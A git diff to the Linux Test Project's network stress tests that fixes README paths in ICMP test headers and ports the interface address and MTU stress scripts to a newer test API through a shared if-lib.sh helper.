 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip02 b/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip02
index bd4553e..770c1ef 100644
--- a/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip02
+++ b/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip02
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip03 b/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip03
index 78879e6..f45d960 100644
--- a/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip03
+++ b/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip04 b/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip04
index 496d548..df7944d 100644
--- a/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip04
+++ b/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip04
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip05 b/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip05
index bf7979b..b987ef4 100644
--- a/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip05
+++ b/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip06 b/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip06
index fe4baaa..f2dd0a2 100644
--- a/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip06
+++ b/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip07 b/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip07
index 164d616..9e4ece9 100644
--- a/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip07
+++ b/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip07
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip01 b/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip01
index 84b2844..d6d3d89 100644
--- a/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip01
+++ b/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip01
@@ -30,7 +30,7 @@
 #     - The version of IP is IPv6
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip02 b/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip02
index cba23c1..c3c49bb 100644
--- a/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip02
+++ b/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip02
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip03 b/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip03
index ea632c9..222feb5 100644
--- a/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip03
+++ b/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip04 b/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip04
index ab6834e..7d38961 100644
--- a/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip04
+++ b/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip04
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip05 b/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip05
index e85493e..c87ef47 100644
--- a/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip05
+++ b/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip06 b/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip06
index a055c28..9775ac9 100644
--- a/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip06
+++ b/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip07 b/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip07
index 6aa2985..6db8b45 100644
--- a/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip07
+++ b/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip07
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic01 b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic01
index c2103f2..d4d45b4 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic01
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic01
@@ -33,7 +33,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic02 b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic02
index edddce3..3f5920b 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic02
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic02
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03 b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03
index 40350f1..d1ba9a6 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic04 b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic04
index df23cc6..164ac46 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic04
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic04
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic05 b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic05
index 328183c..dc764f6 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic05
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic06 b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic06
index 1f6a33b..a58a5fd 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic06
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic07 b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic07
index 89190ae..c8119d7 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic07
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic07
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic01 b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic01
index 7b9b104..98c6529 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic01
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic01
@@ -30,7 +30,7 @@
 #     - The version of IP is IPv6
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic02 b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic02
index ffd74c3..3cdcd76 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic02
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic02
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic03 b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic03
index 84a31e8..375043c 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic03
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic04 b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic04
index 836142b..20a0962 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic04
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic04
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05 b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05
index 58eb616..bf1d371 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic06 b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic06
index cee918a..793a503 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic06
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic07 b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic07
index 7b46609..fa07833 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic07
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic07
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/interface/00_Descriptions.txt b/testcases/network/stress/interface/00_Descriptions.txt
index e4bf5f7..5120f8b 100644
--- a/testcases/network/stress/interface/00_Descriptions.txt
+++ b/testcases/network/stress/interface/00_Descriptions.txt
@@ -12,12 +12,16 @@
 
 if-addr-addlarge
 	Verify the IPv4/IPv6 connectivity is not broken when ip/ifconifg
-	creates many addresses.
+	creates many addresses
 
 if-route-adddel
 	Verify the IPv4/IPv6 connectivity is not broken when the ip/route adds,
 	then and deletes an IPv4/IPv6 route many times
 
+if-route-addlarge
+	Verify the IPv4/IPv6 connectivity is not broken when the ip/route
+	creates many routes
+
 if-mtu-change
 	Verify the IPv4/IPv6 connectivity is not broken when ip/ifconfig
 	changes MTU many times every 5 seconds
diff --git a/testcases/network/stress/interface/if-addr-adddel b/testcases/network/stress/interface/if-addr-adddel
index 4a0501e..8e3990f 100644
--- a/testcases/network/stress/interface/if-addr-adddel
+++ b/testcases/network/stress/interface/if-addr-adddel
@@ -1,4 +1,5 @@
 #!/bin/sh
+# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 #
@@ -17,25 +18,15 @@
 #
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
-TST_TOTAL=2
-
-TST_CLEANUP="netstress_cleanup"
-
-. test_net_stress.sh
+IF_CMD='ifconfig'
+. if-lib.sh
 
 # The interval of the check interface activity
 CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))}
 
 test_body()
 {
-	local cmd_type=$1
-
-	case $cmd_type in
-	if_cmd) local cmd_name='ifconfig' ;;
-	ip_cmd) local cmd_name='ip' ;;
-	*) tst_brkm TBROK "Unknown test parameter '$cmd_type'"
-	esac
-
+	local cmd="$CMD"
 	local num=$(($(od -A n -t u1 -N 1 /dev/random) * 253 / 255 + 2 ))
 	local iface=$(tst_iface)
 	if [ "$TST_IPV6" ]; then
@@ -46,10 +37,10 @@
 		local netmask=24
 	fi
 
-	tst_resm TINFO "'$cmd_name' add/del IPv$ipver '$new_ip' $NS_TIMES times"
+	tst_res TINFO "'$cmd' add/del IPv$TST_IPVER '$new_ip' $NS_TIMES times"
 
 	if ! restore_ipaddr; then
-		tst_resm TBROK "Failed to set default IP addresses"
+		tst_res TBROK "Failed to set default IP addresses"
 		return
 	fi
 
@@ -57,26 +48,26 @@
 	while [ $cnt -le $NS_TIMES ]; do
 		make_background_tcp_traffic
 
-		case $cmd_type in
-		if_cmd)
+		case $cmd in
+		ifconfig)
 			if [ "$TST_IPV6" ]; then
 				ifconfig $iface add $new_ip/$netmask
 			else
 				ifconfig $iface:1 $new_ip netmask 255.255.255.0
 			fi
 		;;
-		ip_cmd) ip addr add $new_ip/$netmask dev $iface ;;
+		ip) ip addr add $new_ip/$netmask dev $iface ;;
 		esac
 
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "command failed to add $new_ip to $iface"
+			tst_res TFAIL "command failed to add $new_ip to $iface"
 			return
 		fi
 
 		ip addr show $iface | grep -q $new_ip
 		if [ $? -ne 0 ]; then
 			ip addr show $iface
-			tst_resm TFAIL "$new_ip not configured"
+			tst_res TFAIL "$new_ip not configured"
 			return
 		fi
 
@@ -84,38 +75,31 @@
 
 		cnt=$(($cnt + 1))
 
-		case $cmd_type in
-		if_cmd)
+		case $cmd in
+		ifconfig)
 			if [ "$TST_IPV6" ]; then
 				ifconfig $iface del $new_ip/$netmask
 			else
 				ifconfig $iface:1 down
 			fi
 		;;
-		ip_cmd) ip addr del $new_ip/$netmask dev $iface ;;
+		ip) ip addr del $new_ip/$netmask dev $iface ;;
 		esac
 
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL " delete command failed".
+			tst_res TFAIL " delete command failed".
 			return
 		fi
 
 		ip addr show $iface | grep -q $new_ip
 		if [ $? -eq 0 ]; then
 			ip addr show $iface
-			tst_resm TFAIL "Failed to remove '$new_ip' address"
+			tst_res TFAIL "Failed to remove '$new_ip' address"
 			return
 		fi
 	done
 
-	tst_resm TPASS "Test is finished correctly"
+	tst_res TPASS "Test is finished correctly"
 }
 
-netstress_setup
-
-tst_check_cmds ifconfig
-
-test_body 'if_cmd'
-test_body 'ip_cmd'
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/interface/if-addr-addlarge b/testcases/network/stress/interface/if-addr-addlarge
index a81cf61..78641e4 100644
--- a/testcases/network/stress/interface/if-addr-addlarge
+++ b/testcases/network/stress/interface/if-addr-addlarge
@@ -1,4 +1,5 @@
 #!/bin/sh
+# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 #
@@ -17,33 +18,24 @@
 #
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
-TST_TOTAL=2
-
-TST_CLEANUP="netstress_cleanup"
-
-. test_net_stress.sh
+IF_CMD='ifconfig'
+. if-lib.sh
 
 # The interval of the check interface activity
 CHECK_INTERVAL=${CHECK_INTERVAL:-$(($IP_TOTAL / 20))}
 
 test_body()
 {
-	local cmd_type=$1
-
-	case $cmd_type in
-	if_cmd) local cmd_name='ifconfig' ;;
-	ip_cmd) local cmd_name='ip' ;;
-	*) tst_brkm TBROK "Unknown test parameter '$cmd_type'"
-	esac
+	local cmd="$CMD"
 
 	local iface=$(tst_iface)
 	[ "$TST_IPV6" ] && local netmask=64 || local netmask=16
 
-	tst_resm TINFO "'$cmd_name' add $IP_TOTAL IPv$ipver addresses"
-	tst_resm TINFO "check interval that $iface is working: $CHECK_INTERVAL"
+	tst_res TINFO "'$cmd' add $IP_TOTAL IPv$TST_IPVER addresses"
+	tst_res TINFO "check interval that $iface is working: $CHECK_INTERVAL"
 
 	if ! restore_ipaddr; then
-		tst_resm TBROK "Failed to set default IP addresses"
+		tst_res TBROK "Failed to set default IP addresses"
 		return
 	fi
 
@@ -54,7 +46,7 @@
 	[ "$TST_IPV6" ] && local xymax=65535 || xymax=254
 
 	if [ $IP_TOTAL -gt $((xymax * xymax)) ]; then
-		tst_resm TWARN "set IP_TOTAL to $xymax * $xymax"
+		tst_res TWARN "set IP_TOTAL to $xymax * $xymax"
 		IP_TOTAL=$((xymax * xymax))
 	fi
 
@@ -69,51 +61,51 @@
 			local new_ip=${IPV4_NET16_UNUSED}.$x.$y
 		fi
 
-		case $cmd_type in
-		if_cmd)
+		case $cmd in
+		ifconfig)
 			if [ "$TST_IPV6" ]; then
 				ifconfig $iface add $new_ip/$netmask
 			else
 				ifconfig $iface:$x:$y $new_ip netmask 255.255.0.0
 			fi
 		;;
-		ip_cmd) ip addr add $new_ip/$netmask dev $iface ;;
+		ip) ip addr add $new_ip/$netmask dev $iface ;;
 		esac
 
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "command failed to add $new_ip to $iface"
+			tst_res TFAIL "command failed to add $new_ip to $iface"
 			return
 		fi
 
 		ip addr show $iface | grep -q $new_ip
 		if [ $? -ne 0 ]; then
 			ip addr show $iface
-			tst_resm TFAIL "$new_ip not configured"
+			tst_res TFAIL "$new_ip not configured"
 			return
 		fi
 
 		check_connectivity_interval $cnt || return
 
-		case $cmd_type in
-		if_cmd)
+		case $cmd in
+		ifconfig)
 			if [ "$TST_IPV6" ]; then
 				ifconfig $iface del $new_ip/$netmask
 			else
 				ifconfig $iface:$x:$y down
 			fi
 		;;
-		ip_cmd) ip addr del $new_ip/$netmask dev $iface ;;
+		ip) ip addr del $new_ip/$netmask dev $iface ;;
 		esac
 
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL " delete command failed".
+			tst_res TFAIL " delete command failed".
 			return
 		fi
 
 		ip addr show $iface | grep -q $new_ip
 		if [ $? -eq 0 ]; then
 			ip addr show $iface
-			tst_resm TFAIL "Failed to remove '$new_ip' address"
+			tst_res TFAIL "Failed to remove '$new_ip' address"
 			return
 		fi
 
@@ -123,19 +115,12 @@
 			y=1
 			x=$(($x + 1))
 			if [ $x -gt $xymax ]; then
-				tst_brkm TBROK "Too large $IP_TOTAL"
+				tst_brk TBROK "Too large $IP_TOTAL"
 			fi
 		fi
 	done
 
-	tst_resm TPASS "Test is finished correctly"
+	tst_res TPASS "Test is finished correctly"
 }
 
-netstress_setup
-
-tst_check_cmds ifconfig
-
-test_body 'if_cmd'
-test_body 'ip_cmd'
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/interface/if-lib.sh b/testcases/network/stress/interface/if-lib.sh
new file mode 100644
index 0000000..c247dcd
--- /dev/null
+++ b/testcases/network/stress/interface/if-lib.sh
@@ -0,0 +1,57 @@
+#!/bin/sh
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write the Free Software Foundation,
+# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+#
+# Author: Petr Vorel <pvorel@suse.cz>
+
+if_usage()
+{
+	echo "-c      Test command (ip, $IF_CMD)"
+}
+
+if_parse_args()
+{
+	case $1 in
+	c) CMD="$2";;
+	esac
+}
+
+if_setup()
+{
+	[ -n "$CMD" ] || tst_brk TBROK "IF_CMD variable not defined"
+	if [ "$CMD" != 'ip' -a "$CMD" != "$IF_CMD" ]; then
+		tst_brk TBROK "Missing or wrong -c parameter: '$CMD', use 'ip' or '$IF_CMD'"
+	fi
+
+	tst_test_cmds "$CMD"
+	netstress_setup
+	TST_CLEANUP="${TST_CLEANUP:-netstress_cleanup}"
+}
+
+if_cleanup_restore()
+{
+	netstress_cleanup
+	restore_ipaddr
+	restore_ipaddr rhost
+}
+
+TST_SETUP="${TST_SETUP:-if_setup}"
+TST_TESTFUNC="test_body"
+TST_PARSE_ARGS="if_parse_args"
+TST_USAGE="if_usage"
+TST_OPTS="c:"
+
+. tst_net_stress.sh
diff --git a/testcases/network/stress/interface/if-mtu-change b/testcases/network/stress/interface/if-mtu-change
index 15293c4..19bcffe 100644
--- a/testcases/network/stress/interface/if-mtu-change
+++ b/testcases/network/stress/interface/if-mtu-change
@@ -1,4 +1,5 @@
 #!/bin/sh
+# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 #
@@ -17,11 +18,10 @@
 #
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
-TST_TOTAL=2
-
+IF_CMD='ifconfig'
+TST_SETUP="do_setup"
 TST_CLEANUP="do_cleanup"
-
-. test_net_stress.sh
+. if-lib.sh
 
 # The interval of the mtu change [second]
 CHANGE_INTERVAL=${CHANGE_INTERVAL:-5}
@@ -30,36 +30,33 @@
 # 552 - net.ipv4.route.min_pmtu
 CHANGE_VALUES="784 1142 552 1500 552 1500 552 748 552 1142 1500"
 CHANGE6_VALUES="1280 1445 1335 1390 1500 1280 1500 1280 1335 1500"
-[ "$TST_IPV6" ] && CHANGE_VALUES=$CHANGE6_VALUES
 saved_mtu=
 
+do_setup()
+{
+	[ "$TST_IPV6" ] && CHANGE_VALUES=$CHANGE6_VALUES
+	if_setup
+	saved_mtu="$(cat /sys/class/net/$(tst_iface)/mtu)"
+}
+
 do_cleanup()
 {
-	netstress_cleanup
+	if_cleanup_restore
 	if [ "$saved_mtu" ]; then
 		ip li set $(tst_iface) mtu $saved_mtu
 		tst_rhost_run -c "ip li set $(tst_iface rhost) mtu $saved_mtu"
 	fi
-	tst_restore_ipaddr
-	tst_restore_ipaddr rhost
-	tst_wait_ipv6_dad
 }
 
 test_body()
 {
-	local cmd_type=$1
-
-	case $cmd_type in
-	if_cmd) local cmd_name='ifconfig' ;;
-	ip_cmd) local cmd_name='ip' ;;
-	*) tst_brkm TBROK "Unknown test parameter '$cmd_type'"
-	esac
+	local cmd="$CMD"
 
 	local iface=$(tst_iface)
 	local iface_rmt=$(tst_iface rhost)
 	[ "$TST_IPV6" ] && local netmask=64 || local netmask=16
 
-	tst_resm TINFO "'$cmd_name changes MTU $MTU_CHANGE_TIMES times" \
+	tst_res TINFO "'$cmd' changes MTU $MTU_CHANGE_TIMES times" \
 	               "every $CHANGE_INTERVAL seconds"
 
 	mtu_array_len=$(echo $CHANGE_VALUES | wc -w)
@@ -73,19 +70,19 @@
 
 		make_background_tcp_traffic
 
-		tst_resm TINFO "set MTU to $mtu $cnt/$MTU_CHANGE_TIMES"
+		tst_res TINFO "set MTU to $mtu $cnt/$MTU_CHANGE_TIMES"
 		local ret=0
-		case $cmd_type in
-		if_cmd) ifconfig $iface mtu $mtu || ret=1
+		case $cmd in
+		ifconfig) ifconfig $iface mtu $mtu || ret=1
 			tst_rhost_run -c "ifconfig $iface_rmt mtu $mtu"
 		;;
-		ip_cmd) ip link set $iface mtu $mtu || ret=1
+		ip) ip link set $iface mtu $mtu || ret=1
 			tst_rhost_run -c "ip link set $iface_rmt mtu $mtu"
 		;;
 		esac
 
 		if [ $? -ne 0 -o $ret -ne 0 ]; then
-			tst_resm TFAIL "Failed to change the mtu at $cnt time"
+			tst_res TFAIL "Failed to change the mtu at $cnt time"
 			return
 		fi
 
@@ -95,13 +92,4 @@
 	done
 }
 
-netstress_setup
-
-tst_check_cmds ifconfig
-
-saved_mtu="$(cat /sys/class/net/$(tst_iface)/mtu)"
-
-test_body 'if_cmd'
-test_body 'ip_cmd'
-
-tst_exit
+tst_run
